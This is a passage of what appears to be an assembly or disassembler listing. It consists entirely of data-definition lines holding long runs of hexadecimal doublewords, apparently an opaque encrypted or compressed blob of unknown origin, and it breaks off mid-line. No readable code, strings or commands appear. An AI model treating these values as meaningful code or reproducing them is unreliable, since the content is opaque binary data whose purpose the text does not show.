406CFEC5h dd 0D0CB05B1h, 82E1C0E9h, 0FE555486h, 79FF523Ch, 30E14D22h dd 7413E2Ch, 0C730E47Eh, 0F26DD709h, 0A0677E2Ah, 0BE560508h dd 0EF381155h, 598068C0h, 0E908176Bh, 0E1BAB185h, 0CA616B5Ah dd 0F7B581B2h, 8C9AAA98h, 9531FB44h, 7EFE15D8h, 0EF62B896h dd 89BB05BDh, 0A6B0E8A0h, 159C7B7h, 2683AB5h, 0B6E54C51h dd 0F2E96A13h, 0F1128257h, 73618ABEh, 2FABE55Eh, 35AE4AC1h dd 0B34ACCEh, 0F9794868h, 93E4A48h, 0D95C3E3Dh, 0FEF2B6CFh dd 9984BD4Fh, 0FC7E0CAEh, 6D68B012h, 3E32AB6Ah, 3C16587Dh dd 0C261F96Fh, 7DFEF8D8h, 9820A5CEh, 6AB1EAA3h, 21C020B5h dd 0F4B4B16Ah, 64CC3BCCh, 12638014h, 0FFD38283h, 835A9B04h dd 0E0479D3h, 0AD0E99Dh, 19D335ACh, 2AAD3295h, 0EE586DE3h dd 682F470Bh, 0A72002D0h, 0B529031h, 2B143F4Ah, 0DF510955h dd 86A7DDD3h, 20CE01CFh, 5C3EA2BBh, 2F9A0553h, 1FB7984h dd 0FA1E0293h, 1C77200Fh, 13B9B9C3h, 900DFB5Ch, 4C7C32E1h dd 0D2161687h, 68D53CA3h, 0DC782525h, 8F44CFE3h, 0E15F306h dd 69FF5A4Eh, 0F611575Bh, 7272B66h, 8102B4A4h, 28E1DFCDh dd 0C57307Dh, 0B706AD03h, 2E64DE9h, 0A05C323h, 0F3763C92h dd 66BF08A0h, 0E9560841h, 9434E530h, 9220F8AAh, 75EAFA02h dd 77B16AB1h, 30C44D88h, 66535262h, 4D09681Dh, 0C96DB231h dd 0F9D26C3Ch, 1F8512AFh, 1DEC7EDDh, 6DA097C3h, 2A7A4985h dd 0F140F9B0h, 647B09BFh, 8F8F7481h, 45915486h, 230DCB05h dd 218213AAh, 0D52DE27Ah, 0DA096368h, 24895B4Ch, 49025806h dd 7EFEA40Bh, 46DD2568h, 1CFB4094h, 0A9E0EC83h, 52F99651h dd 59EA4877h, 7346950Ch, 0BC5F304Eh, 0F4567E8Bh, 0F667014h dd 9580F4B8h, 4B9C2E51h, 0E615E98Ah, 9986FADh, 14F037E9h dd 599D307Bh, 0F717C9C9h, 8C0877A6h, 44FB20FFh, 0F1058186h dd 662FD1ACh, 7B25ABACh, 0DC55ACC2h, 0B3BE4387h, 5BA145Eh dd 0E25BDEF7h, 63407293h, 0A44F5DE9h, 8F58001h, 9F04E5C0h dd 42920606h, 835A4580h, 24F3BFC5h, 3FF88F44h, 139168E0h dd 6BAC9891h, 8BAA5B45h, 0C0421ADBh, 5F3A44B2h, 0BF43C408h dd 0B6B0F5B2h, 1ED9C066h, 3B554DDEh, 712F382h, 0E0F0655Eh dd 0BB05533Eh, 0F14224Eh, 9DA0C9C5h, 0D25E9D5Eh, 0B1ABC664h dd 9A1056Eh, 189E7D8Dh, 0C3564095h, 35B20934h, 416A898Ch dd 11BCE402h, 4705BBD2h, 311A3829h, 61FE23D5h, 3816E99Ah dd 2DAD3B92h, 90B0E328h, 905266C9h, 0E7C320CFh, 511ED0E0h dd 0CA8957B1h, 0C2EFA25Dh, 565309B2h, 0E130561Fh, 7549F781h dd 0F13C586Ch, 0E391B09h, 231F8682h, 0FC814D04h, 0F03F9866h dd 0DC272B63h, 20451CFEh, 0E5F66D4Ch, 7722F002h, 0E1EDC17Fh dd 13D77070h, 1D2F71Ch, 0D75109F0h, 8B092E6Ch, 5748F42h dd 0F985D329h, 2D6D388h, 0E126685Ah, 62DDE607h, 91D0D51Ch dd 0ED214897h, 952512EFh, 0A550BE35h, 69E91308h, 0D028A281h dd 3164E03Fh, 4B58DC92h, 6A2F0745h, 0E8C33956h, 0DAFAE5F5h dd 0CE220BE5h, 0D5DF1AFEh, 0E1206ADAh, 3F55582Dh, 0E8699702h dd 2445B1Fh, 89139C62h, 1C6C7DDDh, 74ABD15Eh, 0BCFCBFAEh dd 60510CD9h, 0AD80485Dh, 6D812468h, 0FA7DC9ABh, 0B9B33717h dd 6E4CA226h, 0E78701D9h, 80BB3878h, 0AD5532DDh, 8900BD3Dh dd 0CE203635h, 26054E05h, 0E509742Bh, 5705A0Ah, 46D0D2C5h dd 555B8079h, 5640F103h, 112614EEh, 700AF72Bh, 2E6BF09h dd 9E75B0C5h, 0F5126774h, 0D7F26809h, 0BE2D7384h, 0F0472FB1h dd 0F640ADECh, 0C4A5F11h, 155C02E7h, 38D70E13h, 7FC26709h dd 0CEFD1098h, 0FECF8980h, 0E5C6BA5h, 0B2E23F01h, 3CA2E9F1h dd 33F24BDCh, 531A04Bh, 30FF403h, 0BB352D0Ah, 0F1AAE51Ah dd 4E5AE0FCh, 8507437Ch, 8984D681h, 0D9F758E1h, 7B219A40h dd 0C0DE42Ah, 6AA96485h, 0E939053Ah, 286464DEh, 688A8882h dd 0BEEA4B32h, 9DE8250h, 57601E19h, 7A3B5F7Bh, 67F60272h dd 40AB9EAAh, 515D8661h, 92D8ACD2h, 62D8243Bh, 26084867h dd 70460298h, 0A1406C53h, 3AE82DC0h, 0D984C195h, 5960043Fh dd 0BC5CAA4Dh, 0B76241C3h, 0B580C13h, 0F62CEAB5h, 74B7709Ah dd 0BA5258DDh, 4EAE9884h, 0D350FDA4h, 40D7DCB0h, 6D0B2D1Dh dd 2637F57h, 0FD49374Ch, 3FC2A993h, 7640416Ah, 392C6068h dd 77A5DF05h, 1BEDB780h, 7348EB6Dh, 805630E9h, 0C33B7B4Eh dd 83E9D66Ah, 9AB900ECh, 5B4F123Eh, 0D9ADF049h, 0DEAC193Fh dd 126066A8h, 6BFE3FEDh dd 0A50980B8h, 70DE5BBFh, 55D2FE3h, 64FF8D77h, 0FC15FB3Ah dd 6268090Fh, 759A3234h, 0E90511FCh, 8CADB3D6h, 4059B410h dd 7125CEDh, 41EA4012h, 0BD388EC2h, 0DAA7404Bh, 0B09AF3Fh dd 0E8F9C4E9h, 812552C4h, 0FD33755Bh, 0E8B55478h, 0EF180575h dd 5BF3FD4h, 0E8574A02h, 411F9EF4h, 0BE343D0Fh, 62FF98D3h dd 89752F17h, 0C914D63Fh, 35487200h, 0E92D23B3h, 741E42D2h dd 25D95ACFh, 6675916Bh, 0C5B92F09h, 786722D2h, 0DC9D3C78h dd 0A32EC4BCh, 239D1750h, 48EDB629h, 5F88036Bh, 7DE84705h dd 0F028295Dh, 0D980072Dh, 9D192441h, 0DEF04262h, 4AA0EF04h dd 20674168h, 1A974528h, 5E25DF57h, 2F46F351h, 0AD22F459h dd 0F74BFA56h, 0AF2620C8h, 5954CCC2h, 57EC6056h, 22D6276Dh dd 18D0B203h, 0C027DC3h, 1DE72B87h, 0E1A28FC1h, 0B3E8B5F3h dd 84A7A692h, 5BBDB693h, 0EF812730h, 76E2F6F5h, 5C73F75h dd 1A48EC96h, 80D1C87h, 0FC14041Ch, 0F469B3ABh, 0A0805F09h dd 21C91CCDh, 0CF2F50F8h, 36047FEh, 7AF70375h, 6A233FF7h dd 68045CABh, 9EF63622h, 0A0BF3FC5h, 8F49E964h, 0DB654B5Eh dd 0E6C5FA05h, 0AEF476A5h, 17AE98BBh, 13215AD7h, 28BB0D6Bh dd 0FFC52A22h, 0FE142CBFh, 3329D74Bh, 293AB1EDh, 0FBE37A10h dd 0A0E9F90Ch, 0BC03045Fh, 0C058C388h, 0B5682CE3h, 0FA9509EEh dd 1FB49457h, 0CB555EF1h, 0A440554h, 0D6048B2Fh, 7B52D176h dd 9AADC3E0h, 27245048h, 6C9C96CEh, 492FE941h, 0AFA4C910h dd 0D4B6A68h, 6B0CB10Fh, 0EAA2C7BDh, 0C155F877h, 79482F26h dd 95F82B60h, 25680840h, 70183875h, 5480538Bh, 7E56BF5Dh dd 26DE8CEBh, 689BC5CCh, 3F29B1F0h, 0E9C2C1E7h, 0D4443FF0h dd 67E9AF97h, 0DBBCEE0Bh, 0BAF94044h, 8760AF7Eh, 7767C2CAh dd 91424B3Dh, 2150A1Dh, 0F7505F5Eh, 446D4A95h, 0E8382727h dd 4E2D274Ch, 85A27169h, 0AB30BAE9h, 7D201BC9h, 1A930AC9h dd 1EF63363h, 7E9C812Ah, 93CBDCE9h, 0F2AB5E96h, 0ABF4CBA3h dd 52285447h, 42FD5475h, 0A7F9AD1Bh, 0D17ACBCh, 97C64CADh dd 7D69E959h, 525845E4h, 0AE01025h, 0BAE2EC77h, 0E7B907F0h dd 0A516F05Fh, 2A09B104h, 0AD7F815Eh, 0C9E76858h, 0BD6F12E6h dd 0E6F3BB11h, 469CBB81h, 0EB1C81D1h, 28114798h, 0EDE9BB64h dd 62EBFEEEh, 530BAEECh, 0F30AC9C4h, 5AF0AD69h, 0D310BB5Eh dd 0FB4B742Bh, 2506A840h, 0F84B05ADh, 2F4A9CABh, 273EF47Ch dd 0B13055A2h, 6D096851h, 0FB05AA41h, 0D0A1E90Dh, 0D821744Dh dd 0ED6BF2E9h, 6FDEF650h, 88177065h, 1840D9BCh, 1F6209BAh dd 0A25F2B7Ah, 51F0D88Dh, 2FF83D12h, 72DCDB68h, 0EA0755C0h dd 5FD6C166h, 3877A441h, 0FB4CA2h, 848D5099h, 496BE5E9h dd 0E9B0EBFFh, 0DCB34719h, 57C2C089h, 0DADD3418h, 82F545C0h dd 306F785Fh, 0C810454Dh, 4C5CCB6Ah, 60C0306h, 0B401420Ah dd 81F54C4h, 1980F153h, 1517B7B9h, 0CF01FA31h, 0F7CE463Ch dd 80552D56h, 668939E7h, 3EAD29E9h, 0F2502751h, 5571F897h dd 917AFEE1h, 3E663D0Ah, 0FA931CE3h, 0C96E0B61h, 4427D13Eh dd 40560269h, 0B5C51AE1h, 315F0FA9h, 4C6CDDADh, 0D1F7660Eh dd 5AC26862h, 0F8C7D27Fh, 438F32B9h, 0A790CB12h, 288103B5h dd 0DEF0833Eh, 8421C399h, 72E9640Ch, 0E15BA4ACh, 0FA60A076h dd 7C1C14Bh, 6F78100Dh, 0FF09AE5Ah, 200F5829h, 86A0D5EEh dd 72C3315h, 71081E2Ch, 0A7772DB0h, 0C4328592h, 0FBEB40B9h dd 8BDE9C90h, 22DE2FB8h, 9A2B9450h, 0ED15B61h, 0CE895972h dd 70653500h, 59829AEAh, 0F52140B7h, 8095F7E9h, 75A7BF77h dd 0C10617FCh, 986A09E7h, 80ACC4A5h, 0EDC06383h, 0E580030Fh dd 6ADEE4AEh, 8712E9EDh, 0E039EA48h, 0EAF928A2h, 701BC03Eh dd 551491F5h, 52455300h, 642E3233h, 41C0E36Ch, 23567344h dd 4E8F4950h, 354CCE54h, 0E001430Ah, 0C0094FE9h, 0A1BE680Ah dd 89F40612h, 0FDFDDF2Eh, 15A2500Ch, 8C22847Fh, 117542A3h dd 6B21A4ABh, 90A50808h, 0A61C8461h, 96445748h, 0E02E4D22h dd 1AA11D60h, 7F3B0172h, 0A41851F8h, 7935E015h, 0F4E0207h dd 23C0AD9Bh, 0F0864281h, 7435C05Eh, 4DF68539h, 0D7A980h dd 0DEDD6ED4h, 0A329866Bh, 3CBD150Eh, 0C102A09Dh, 7551D5h dd 2033B05Bh, 57D367FCh, 0EB68500h, 192142CEh, 584A030Ch dd 0CFAC887Ch, 303F2C80h, 0D1273603h, 0A0BA8FD3h, 0DD044Ch dd 2AE158B2h, 6E85D8F5h, 98936D00h, 47E910C7h, 0F03005Fh dd 792D13A2h, 0CE00523Eh, 0E331D8F2h, 0E7DF8DDh, 0CBB5C7A3h dd 0CD4CF640h, 0A8007E38h, 7B24AFCCh, 39246h, 0B2C2275Ch dd 9CA011A6h, 0C11F8812h, 740730FCh, 0B01B8FD2h, 0AA31ADE4h dd 0ECA030Fh, 33A70387h, 0DC180A4h, 71E3001Fh, 4DCC80BFh dd 0DF005B9Ch, 0C377B258h, 5568B34h, 1615E7E2h, 489E4EACh dd 4D7E140h, 74002061h, 5B77B055h, 30EB57Eh, 41D82DD9h dd 29B84DFFh, 1A075539h, 132F0D35h, 0F11B5270h, 0AB6700FAh dd 5EB09DAFh, 83000127h, 93F2D4FDh, 70645176h, 65DB1EE6h dd 2DF5804Bh, 0B3865A6Fh, 2BDE0F01h, 94213397h, 0B558ECh dd 0C0A48074h, 492D6209h, 60069500h, 0B15A7125h, 5BCF017Ch dd 554A0858h, 502FD541h, 0ED30E292h, 42EA7100h, 21C84F0Bh dd 0E5743CE8h, 0D2490500h, 7D6BDF1Eh, 31D30100h, 0EBF36F2h dd 8A1100CDh, 0A635A9E4h, 1407C8FDh, 0DE642719h, 0B9360018h dd 447932F3h, 92395003h, 904A835Dh, 75D4EFh, 100EEB0Bh dd 3EBB5A69h, 6AE47302h, 494C5333h, 3F8EB9C9h, 33D0288h dd 0D96DCC7Ch, 0E441FDD8h, 0F406D502h, 40EF6E35h, 2C0856h dd 0B2E38752h, 23F04BF7h, 3CE49400h, 5D151105h, 0A220300Bh dd 0AE64219h, 5F014B75h, 1793AFB3h, 0C3D4EAA0h, 7B840069h dd 26F9D849h, 0D7279267h, 25530696h, 412A0097h, 604B4627h dd 9CC7BAE2h, 9B02602h, 30AE5D89h, 0F0166814h, 7B005074h dd 8ABCB18Bh, 20D5B6h, 0D62744BDh, 89C29C3Fh, 239B3002h dd 48A0B4C8h, 0DC0D6D7Ah, 2BD44FD8h, 79300A00h, 2D8093C9h dd 96150331h, 68CCB8EDh, 0B9E88FDBh, 0E134F02h, 4B00FE62h dd 54083DE6h, 0FDE83EEFh, 503FB430h, 2490F0D4h, 1573690Ah dd 3B00919Eh, 0E38FCA80h, 966A007Fh, 0FF40F168h, 3A000F13h dd 0B892CD81h, 71B4E01h, 1132D270h, 1A36309Eh, 0ED000A66h dd 13CF269h, 0CD7615h, 59353398h, 2BFB4038h, 60F3BA2Dh dd 9004A6DBh, 0D68E1FBEh, 0F5AC479Fh, 807907BCh, 0F2962599h dd 11F7B31Fh, 0A6E58702h, 2526B32h, 219DD834h, 210FF19Ah dd 0DFCA7833h, 212A3C20h, 0C848E7ADh, 57817C90h, 0C09F20A7h dd 4C00F3C6h, 0F2076B17h, 0C07E9039h, 30C74126h, 440A5098h dd 0B17FC071h, 0DC80B31Ch, 336BB710h, 0B04AF2h, 0A9D758D1h dd 3F767E32h, 0A6BEA60h, 93D073h, 6A219AAFh, 0FEEF4135h dd 5B0F0400h, 7C2411A9h, 34CFC45h, 0AFC11AB9h, 0EDE3FCh dd 0AB1FFBFCh, 1300BF56h, 35C01993h, 390F33EEh, 4E00233Dh dd 943C25F4h, 37001410h, 0C47EB4Ch, 117139Eh, 92D37645h dd 0F85582DEh, 7B000729h, 1214E9ABh, 77FFA43h, 681B9E2Ch dd 26E150C9h, 0C1273F8Bh, 0BB56149h, 2B70F60h, 9C6BC3B6h dd 0F0600CD9h, 0B4078C2Bh, 4420D40Dh, 0C65B4E20h, 0E0B4C067h dd 951AC184h, 0FCC3D4Ch, 5C568594h, 0EA17D0C0h, 0F26E47h dd 0B922B1FEh, 0C42CE4A7h dd 817DF93Ah, 3CE37688h, 1BE85307h, 918100E6h, 0BFA010AFh dd 0D45DFEE7h, 80873B22h, 0FBB128A4h, 0F9108C4h, 0B027A3DCh dd 8B0ABE00h, 1E3E9AD9h, 0FAAE0028h, 0D578FFBBh, 0A1180194h dd 7FF6B2EDh, 34FA20C8h, 0E1614809h, 51F00D8h, 25C1CA8h dd 5D4C1EBDh, 0D5609C16h, 0B93F708Eh, 48BA4C09h, 0A65C0099h dd 8529B0CAh, 78E034Ah, 5D7C2863h, 30CCF1E7h, 7EB83077h dd 80ED3DF0h, 45882ABBh, 245A1289h, 7E9A723h, 8B0D8C40h dd 3776DA20h, 0BF88583h, 9E3D5978h, 0F65917h, 1E9D114Ch dd 0A07C3065h, 6146FC8Eh, 419EBAD9h, 27C217Bh, 4148E7C8h dd 59079038h, 5DD9C9ADh, 550E8DE1h, 10405A61h, 5D2FBDFh dd 9031B122h, 0F4AE80FEh, 3CC13457h, 0EE448883h, 0BAB6CB30h dd 0D24E092Fh, 0A101AF53h, 2CFD31F1h, 0B852D8h, 75875463h dd 8822A08Bh, 662C5DC2h, 111D7A08h, 20B18A5Eh, 1A2080AFh dd 213B0037h, 0A3B22A2Ch, 0CE00C201h, 48546552h, 7EB96Dh dd 3BD18562h, 0A231B815h, 26273900h, 0BDED0166h, 0CA9F033Fh dd 486EF3B6h, 14E5258h, 296207D2h, 1C208354h, 7CF0ABh dd 0D00BBF7Ah, 904B6AFBh, 9ACBBE03h, 903624C1h, 675C48h dd 0BA718B50h, 2C348A7Ah, 0BB41F83Ch, 2309004Bh, 193D0227h dd 0E23E0044h, 6F9A5108h, 610306BCh, 0E7DE2874h, 0CAEABB45h dd 93EAE052h, 0C71DC02Fh, 0FD34EC6Bh, 0AC53E007h, 0A70D277h dd 167AF65Dh, 0C06339AAh, 317416A3h, 46FE7D17h, 651CF002h dd 8637412Ch, 9062EF64h, 45C10020h, 82367517h, 109252F3h dd 0B12D6801h, 904C812Ah, 24E8EF70h, 414DA5Ah, 8857DDBAh dd 0D6028D71h, 0F5B4CCA1h, 62764884h, 0A9191010h, 0D14D1F23h dd 3605DB80h, 18A05491h, 1F6DD5C4h, 0D318AD89h, 8A116AD8h dd 1EC908Eh, 0F2986E14h, 811F9BB7h, 13CCCB0Bh, 48ED79DEh dd 4A198E20h, 0C365B10Dh, 0D0EA5587h, 9C5FCCCh, 0A2DB9209h dd 0DB730826h, 7D88C0Bh, 0A9C2270Eh, 853AE007h, 60FD92E4h dd 9ED325FAh, 909A3F2Ah, 9310F5C2h, 0DCE2C009h, 0B483007Eh dd 772DAC6Ch, 7935440h, 7419A001h, 4F70473Bh, 5A642815h dd 17ED988Ah, 0DE8554h, 984DD079h, 590151F1h, 0B9B59422h dd 48CC39Dh, 9A177AC8h, 2A9BE0Ch, 79AE1156h, 25C701B2h dd 21983AE6h, 27E4206Fh, 353947FCh, 0CC76184Bh, 5CAF612Fh dd 0C736EB70h, 643D17B6h, 0EA240367h, 49833Fh, 0E2076314h dd 0E502855Ah, 4D393500h, 92C168F3h, 8A2B3097h, 734FCB26h dd 0C6A37F00h, 7521560Dh, 507D0053h, 9996A9C1h, 0C00CB22h dd 96D1958h, 7DC067F4h, 0E82C3095h, 886CC842h, 9E45D400h dd 7501BD69h, 4A1101EFh, 0B7BB67A6h, 0C362E8A2h, 73E71C01h dd 0EB47789h, 8AE63F80h, 28DC17CBh, 0A42F4C00h, 0BBDAC6FBh dd 0D6CA0009h, 5CAE9F81h, 840103C2h, 558A4121h, 5020C5A1h dd 7E5817F7h, 9FF4760h, 25C4732Dh, 1435A4Ch, 0C8F3AC27h dd 178961E1h, 5340A985h, 0FA31B1E6h, 0B0AC1948h, 0CCE0FCh dd 0C4BFDC8h, 95CA8118h, 45EAE100h, 0D1701308h, 0B2913BEBh dd 845E1203h, 4283ABE0h, 0C6A24509h, 56DA00AAh, 2CB153E2h dd 43017E72h, 0BF91946Ah, 0E32F8003h, 0DF1AD087h, 92F7433h dd 994BEA89h, 4A2445A0h, 2DC7E35Fh, 41EE2703h, 0C2802B55h dd 91817B8h, 15D0DB9h, 0D57A1100h, 6C88EC98h, 50C71D8Fh dd 38ED4197h, 80AA18FFh, 6549152Dh, 5866C412h, 0D11DB19Ch dd 1400381Bh, 0B503A345h, 120BA14Dh, 20F9B273h, 0F1A5DAA6h dd 3BC007Fh, 0ED5EE9CEh, 0CDE49301h, 8004B058h, 6C1F411Bh dd 0B74601D6h, 3B69F92Ch, 255AC8EAh, 0B0566D00h, 0C1A58175h dd 2766000Ah, 41E2F77Bh, 0DC4883A2h, 374903F5h, 0C1CE74h dd 6EAD5F42h, 72EE9E82h, 25DE5500h, 28AF04F0h, 0F29900B3h dd 2687BB49h, 0ED3961BDh, 843E0013h, 6056A7CFh, 96E70304h dd 1FA3667Fh, 7BF71704h, 318007BCh, 764765Ah, 0E4EF2FD5h dd 4526D05Eh, 4AB8223Eh, 82803F8h, 5C58FC55h, 68500F1h dd 9DDA8D5Dh, 4A69E8E9h, 11702097h, 0AB1ED86Ah, 0E04B5894h dd 3A5B900Bh, 0CA5006Bh, 0F0962713h, 0CA00C1B5h, 0C336EA23h dd 907745DCh, 0BD641E7Fh, 578E8006h, 8F38BF7Bh, 0D4A65A00h dd 47246305h, 9AD7018Ch, 1857F9C0h, 0A044C443h, 16B56100h dd 0C413570h, 0F4D81777h, 11940A42h, 76524BEh, 605C04DAh dd 0FCD1F571h, 0CB34209h, 0F2E38FD7h, 9FBCAC03h, 0D3D59810h dd 9267248Bh, 0A423163Fh, 220040ADh, 0C6333534h, 0C80F9F2Ch dd 0B240B2Ch, 4F13E0A4h, 0B58F0B00h, 279A215Fh, 4A80B9F4h dd 8032723Ah, 52493D00h, 19B06499h, 1246F875h, 905D9E4Fh dd 90345398h, 26A55109h, 94DB4081h, 0B8FB85Bh, 0CF554178h dd 3F076F57h, 3E570CA7h, 682CC225h, 725E65C3h, 0F7F12064h dd 54C9E17Ch, 579695D1h, 0E6D4A5E0h, 8F4A269Ah, 0BFA83D14h dd 0F2D69809h, 0EE36D25Fh, 709A578Bh, 0E02F73FDh, 0D646E95Ch dd 0BD06B5B8h, 0A9A4B8B7h, 0C5033DB0h, 22E4E000h, 26434175h dd 44614600h, 0F1189B66h, 39D90C74h, 0C65306E8h, 84D2451Eh dd 0BE9DC8Ah, 979F3000h, 0F623B1h, 32BB665Eh, 4EC681FAh dd 0E9227163h, 0E2D0014h, 5A170912h, 4800C00Ch, 1F276A3Eh dd 3EB81437h, 0FE3FD82Fh, 0CC9DFC4Bh, 7F10B0Bh, 23F479A5h dd 4BE7008Bh, 583C7E6Ch, 87D02866h, 0E381060Fh, 4F68780h dd 0A9E0F760h, 0F2A0F60h, 0EFE0D9B7h, 1A6421F8h, 4BA0E8F6h dd 0FC001B7Ch, 338CB136h, 9953A5h, 0D1212DEEh, 0DFAF9E9Ah dd 0BE25F500h, 3436B7DCh, 8F0F275Fh, 0CA8BF9C8h, 0C2706160h dd 3174E2E3h, 21D0AE9h, 0C4D1E865h, 69738907h, 0AC5C52D3h dd 8B5A1250h, 0F3343DAh, 3500088Ah, 15C18156h, 777F6878h dd 0C0F82559h, 0F06C7DEh, 77292285h, 0F8805260h, 12B86605h dd 61884311h, 1B1D36E9h, 78C06427h, 51DD6253h, 1856EA8Ch dd 44760F6Ah, 0C98B0381h, 0E1C8D6BFh, 2A19333Bh, 78724F46h dd 43839900h, 54D275D5h, 0DEBA030Ch, 7BA00166h, 0F75A98D0h dd 38C31F05h, 0F11CA526h, 0B913C9C1h, 91FFA737h, 0ACF0A1ABh dd 4D923127h, 0E340A508h, 0CF0A4EF9h, 213ABCEBh, 0F6E0C13h dd 5251171h, 26315B14h, 0BC1C0122h, 873E9269h, 5A56DA11h dd 0EA4DFA2h, 679D03D7h, 1101BBC3h, 2576202Ch, 0AC002E21h dd 9C10648Dh, 0A48C2485h, 0BA814648h, 0DB602C11h, 385021A5h dd 5010F81Eh, 1DF3E88h, 5C553A85h, 0EDD5763Ch, 5AC8407Ch dd 0B100BB97h, 1A29BC28h, 31ABEF19h, 7E103981h, 0CC68C142h dd 2A002D12h, 0E25C9E41h, 3DD1D513h, 0AE00440Bh, 520821B4h dd 0FCF8A736h, 0CF28AF78h, 0C100ACBAh, 46943B6h, 1E727548h dd 266199h, 68424676h, 787C7F63h, 14AC9E28h, 2C11703Eh dd 0A100346Bh, 8B39AFECh, 0A350C7B0h, 78BEE629h, 0AAC9A63Ch dd 110AE0B1h, 0C397382Fh, 9BACE830h, 7B6A39ADh, 0A792E485h dd 2598012Bh, 802401ABh, 0B1B73EE0h, 15CAADFh, 7263F597h dd 40D1A32Bh, 4EA529D6h, 6877BF14h, 0DCA0F120h, 260A0218h dd 0D0ABC26Bh, 0F87C4C80h, 0C7A2570h, 6A2D5E41h, 21DDB308h dd 0A2F874C0h, 0D53457h, 0F77C0DE7h, 0B1E5F9DAh, 0C32180A8h dd 101C8940h, 245B0B2Eh, 7D044466h, 4540BB0Eh, 327FEB73h dd 2A1940FCh, 56089E3Ah, 6B7A2180h, 0A3905BEBh, 0A0130918h dd 59D8F48h, 0F670D254h dd 29F441B1h, 2019F59Ch, 9D247A80h, 3A806459h, 0A36FE577h dd 0A14A0C68h, 300860DBh, 7F9D21C1h, 9CF4CBE5h, 84E407A4h dd 148F1CB7h, 25409035h, 365459B3h, 5A7ADFA0h, 0F0F603F9h dd 9891E4EBh, 767C2817h, 0B3A544A4h, 3D493B00h, 8CA4DA9Dh dd 0F3AD00D8h, 1758A774h, 7F500D7Ah, 0C0D425C0h, 0BFDF1014h dd 18039C50h, 105D2321h, 0DC91A00Fh, 36030935h, 18A4B3A7h dd 81706F11h, 3041847Ah, 718FFBF0h, 5D63008Eh, 0DB81C83Ch dd 3A037050h, 310D7304h, 0AD74B84Ah, 0A03E1960h, 0E00E4077h dd 0D70C7CEDh, 0B07BD0A4h, 72CA0933h, 280A307Eh, 69D58108h dd 0F05DD627h, 0A8A92392h, 0DC0EE543h, 7A0150A4h, 1A22DE8Fh dd 34205912h, 751D073Ah, 842A4748h, 7F088225h, 41EBF833h dd 22564632h, 6D640054h, 8F760EEBh, 0F112AFF6h, 3400B6B7h dd 5B812242h, 5A2D0FB5h, 4564A041h, 88088E6Ch, 0B3B0C331h dd 53157898h, 0BC574505h, 0EC45B4DDh, 0B0403585h, 4D46E011h dd 97833BC4h, 539B16h, 54FC223Fh, 8C1F3B37h, 0ABC03925h dd 3A29BA86h, 0BE9407F8h, 0A77C246Ch, 10A27006h, 81C0209Dh dd 0CBD07885h, 0EB813BD7h, 87800681h, 3040363Dh, 464CF32Ch dd 3103045Ch, 1080515Bh, 19A394E2h, 10BB7F21h, 0E1B83167h dd 0E80A0424h, 0DC00ECFCh, 0B32305C9h, 0A00A4D6Dh, 0AD89723Eh dd 4CA2BB39h, 5BC23C73h, 3AF5B820h, 0E50764A6h, 20F0CBA9h dd 976CAAE0h, 77B90061h, 0EAD37AD5h, 28E44EA4h, 7C0FCE26h dd 40F87B94h, 48C7CF0h, 327EEB72h, 2057629Eh, 53EB6A65h dd 23169003h, 1E2CC5DBh, 0C0BF1DA8h, 0A77AC17Dh, 31CEABB4h dd 9C559Dh, 59719499h, 39FA6830h, 6700AD14h, 7675CA90h dd 72007B05h, 405E2587h, 7BEE0FDh, 6BA48C73h, 80E8BA84h dd 72196247h, 889078AFh, 308CA849h, 6A682103h, 0A6623F19h dd 4A549F03h, 878C0465h, 422544h, 8C93A1CCh, 9067A0BBh dd 27F4C360h, 0BD427B00h, 94F60CD9h, 0F4AB4024h, 80406C14h dd 0AF77196Fh, 10E18C30h, 191769h, 0A214012Ch, 973DB1EFh dd 489833E4h, 10020FF8h, 0D1EC942h, 398C6870h, 1A912AFh dd 0A84408CFh, 0FF8DBC80h, 19414B5h, 4593038Eh, 50BE0F3Bh dd 925DA3ACh, 36B58100h, 17258EB6h, 0E5F4121Ch, 0B7280B64h dd 8FD19C21h, 0C09A02B1h, 805B73E8h, 0AE60A1BCh, 9DDCA3F9h dd 8DE4A007h, 3A843072h, 0DA1358D1h, 3493700h, 91AD9F1Ah dd 3E220027h, 68E86114h, 0C10978F0h, 846A6D1Fh, 495FA078h dd 1488E4A1h, 9043BE8h, 806D61F1h, 0B9ACAD38h, 1C0B49h dd 0CD673A73h, 39767A6Ah, 7CCCE6F7h, 0F0A11067h, 0BC2B91DBh dd 870C0B04h, 74C37262h, 4958013Ah, 0F6F941Fh, 977980B2h dd 2FC10F1h, 81DE005Fh, 0A70CA6E9h, 3612FF85h, 7C0034DCh dd 2F92C225h, 40584CE6h, 5E348D24h, 0D4093B46h, 140891D7h dd 3F465C20h, 71737900h, 658E7447h, 0A080DB02h, 0A0A1DDBFh dd 2590D5CCh, 0A77207AAh, 426D3E70h, 0BC405480h, 18B9377Dh dd 0D24F08h, 92B086D7h, 25E67654h, 7EFAC40h, 0CB0CC94Eh dd 0FF0B102Fh, 0EB09C3E0h, 0AFA16C1Ch, 0BFD6A15Ch, 0B8743788h dd 182449D8h, 3AC4B2Ah, 0B35B72B6h, 7809267Dh, 49AD7392h dd 0E0367868h, 6DE57507h, 32C4B8A3h, 0E57D9B40h, 980315FAh dd 2D7C29C2h, 91EDE80Ch, 9CEC4CADh, 2EABD310h, 4674486Eh dd 820370ADh, 9C076A02h, 0AA79005Dh, 6150EE39h, 0AFF6E533h dd 0CC010524h, 0CF887601h, 0A060C67Ah, 20EE4AD3h, 31097858h dd 90A57330h, 4C33D650h, 4201244Dh, 8F5A9F37h, 9501300Ch dd 574730Eh, 0B80FA6A1h, 0EF610091h, 86119DECh, 3C0966E3h dd 89B71A37h, 22002078h, 0A1B075FDh, 741877A4h, 0A36CE508h dd 4033C460h, 55E57C9Ah, 8D403C0Bh, 0DB97E982h, 0D0A62E2Dh dd 0C3002921h, 625FCE02h, 0BDCB6BFh, 3998B594h, 461949Ah dd 0C0302816h, 2577F843h, 0C3404292h, 0F8F87B61h, 0AED5BBh dd 8091883Bh, 0A053D1A1h, 7C0178B1h, 0C32B1F23h, 3003432h dd 8DC4A184h, 0A6F814A9h, 0DE5419C0h, 0BBF12Bh, 0C8F629C1h dd 775C6513h, 48C0DA7Ch, 0ABEA8F1Eh, 344D24A4h, 95CB407Ch dd 230C5C54h, 182BC9BBh, 0F95B6ACDh, 7FF4002Ch, 3D059765h dd 2C89DF18h, 0CE723F0h, 3F458FB3h, 601E611h, 3B1E92A1h dd 16CF3997h, 39CAC18h, 0A4BB2908h, 3127D800h, 30757C33h dd 96D5771Ah, 21B002F0h, 0A043BB07h, 0CD620988h, 0EB842850h dd 0A5747103h, 